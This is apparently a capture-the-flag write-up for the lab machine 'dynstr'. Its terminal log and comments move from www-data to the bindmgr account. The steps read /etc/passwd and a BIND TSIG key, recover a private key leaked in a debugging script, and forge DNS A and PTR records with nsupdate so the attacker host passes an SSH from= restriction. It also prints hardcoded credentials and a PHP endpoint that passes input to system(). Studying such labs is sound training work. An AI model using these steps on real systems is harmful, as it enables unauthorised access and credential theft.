5 box enum > bindmgr
www-data@dynstr:/var/www/html/nic$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[truncated]
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
dyna:x:1000:1000:dyna,,,:/home/dyna:/bin/bash
bindmgr:x:1001:1001::/home/bindmgr:/bin/bash
# 2 users in /home
www-data@dynstr:/home$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Mar 15 20:26 .
drwxr-xr-x 18 root root 4096 May 25 14:52 ..
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 bindmgr
drwxr-xr-x 3 dyna dyna 4096 Mar 18 20:00 dyna
# nothing in dyna
# bindmgr has
www-data@dynstr:/home/bindmgr$ ls -la
ls -la
total 36
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 .
drwxr-xr-x 4 root root 4096 Mar 15 20:26 ..
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr 33 Aug 3 01:58 user.txt
# .ssh has keys inside
www-data@dynstr:/home/bindmgr/.ssh$ ls -la
total 24
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 ..
-rw-r--r-- 1 bindmgr bindmgr 419 Mar 13 12:00 authorized_keys
-rw------- 1 bindmgr bindmgr 1823 Mar 13 11:48 id_rsa
-rw-r--r-- 1 bindmgr bindmgr 395 Mar 13 11:48 id_rsa.pub
-rw-r--r-- 1 bindmgr bindmgr 444 Mar 13 12:09 known_hosts
# cannot read id_rsa
www-data@dynstr:/home/bindmgr/.ssh$ cat authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen
www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -la
total 436
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 .
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 ..
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 14:53 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr 29312 Mar 13 14:53 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr 1175 Mar 13 14:53 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 14:52 strace-C62796521.txt
# C62796521-debugging.script has a lot of datab but can see some private key for bindmgr
# storing it and trying to ssh in
$ ssh -i bindmgr_id_rsa bindmgr@10.10.10.244
The authenticity of host '10.10.10.244 (10.10.10.244)' can't be established.
ECDSA key fingerprint is SHA256:443auWJe5iDH5JBCq/9ir4ToxZ5PTzTv7XvRSYrz0ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.244' (ECDSA) to the list of known hosts.
bindmgr@10.10.10.244's password:
# still need password
# as we see in authorized_keys, clients `from="*.infra.dyna.htb"` can connect with this key possibly.
# enumerating /var/www/html/nic
www-data@dynstr:/var/www/html/nic$ cat update
cat update
<?php
// Check authentication
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) { echo "badauth\n"; exit; }
if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }
// Set $myip from GET, defaulting to REMOTE_ADDR
$myip = $_SERVER['REMOTE_ADDR'];
if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP)) { $myip = $valid; }
if(isset($_GET['hostname'])) {
// Check for a valid domain
list($h,$d) = explode(".",$_GET['hostname'],2);
$validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
// Update DNS entry
$cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
// Return good or 911
if (!$retval) {
echo "good $myip\n";
} else {
echo "911 [nsupdate failed]\n"; exit;
}
} else {
echo "nochg $myip\n";
}
?>
# we can see the /etc/bind/ddns.key; maybe more keys there?
www-data@dynstr:/var/www/html/nic$ ls -la /etc/bind
ls -la /etc/bind
total 68
drwxr-sr-x 3 root bind 4096 Mar 20 12:00 .
drwxr-xr-x 80 root root 4096 Jun 8 19:20 ..
-rw-r--r-- 1 root root 1991 Feb 18 04:28 bind.keys
-rw-r--r-- 1 root root 237 Dec 17 2019 db.0
-rw-r--r-- 1 root root 271 Dec 17 2019 db.127
-rw-r--r-- 1 root root 237 Dec 17 2019 db.255
-rw-r--r-- 1 root root 353 Dec 17 2019 db.empty
-rw-r--r-- 1 root root 270 Dec 17 2019 db.local
-rw-r--r-- 1 root bind 100 Mar 15 20:44 ddns.key
-rw-r--r-- 1 root bind 101 Mar 15 20:44 infra.key
drwxr-sr-x 2 root bind 4096 Mar 15 20:42 named.bindmgr
-rw-r--r-- 1 root bind 463 Dec 17 2019 named.conf
-rw-r--r-- 1 root bind 498 Dec 17 2019 named.conf.default-zones
-rw-r--r-- 1 root bind 969 Mar 15 20:46 named.conf.local
-rw-r--r-- 1 root bind 895 Mar 15 20:46 named.conf.options
-rw-r----- 1 bind bind 100 Mar 15 20:14 rndc.key
-rw-r--r-- 1 root root 1317 Dec 17 2019 zones.rfc1918
www-data@dynstr:/var/www/html/nic$ cat /etc/bind/infra.key
cat /etc/bind/infra.key
key "infra-key" {
algorithm hmac-sha256;
secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};
# time to add infra.key
Using https://www.dns-school.org/Documentation/bind-arm/man.nsupdate.html (Example section)
www-data@dynstr:/var/www/html/nic$ nsupdate -k /etc/bind/infra.key -v
nsupdate -k /etc/bind/infra.key -v
update add kashz.infra.dyna.htb 86400 A 10.10.16.161
send
# as we added DNS A record; we need to add PTR record as well
update add 161.16.10.10.in-addr.arpa. 300 PTR kashz.infra.dyna.htb
send
quit
$ ssh -i bindmgr_id_rsa bindmgr@10.10.10.244
Last login: Tue Jun 8 19:19:17 2021 from 6146f0a384024b2d9898129ccfee3408.infra.dyna.htb
bindmgr@dynstr:~$ whoami;id;hostname
bindmgr
uid=1001(bindmgr) gid=1001(bindmgr) groups=1001(bindmgr)
dynstr.dyna.htbLast updated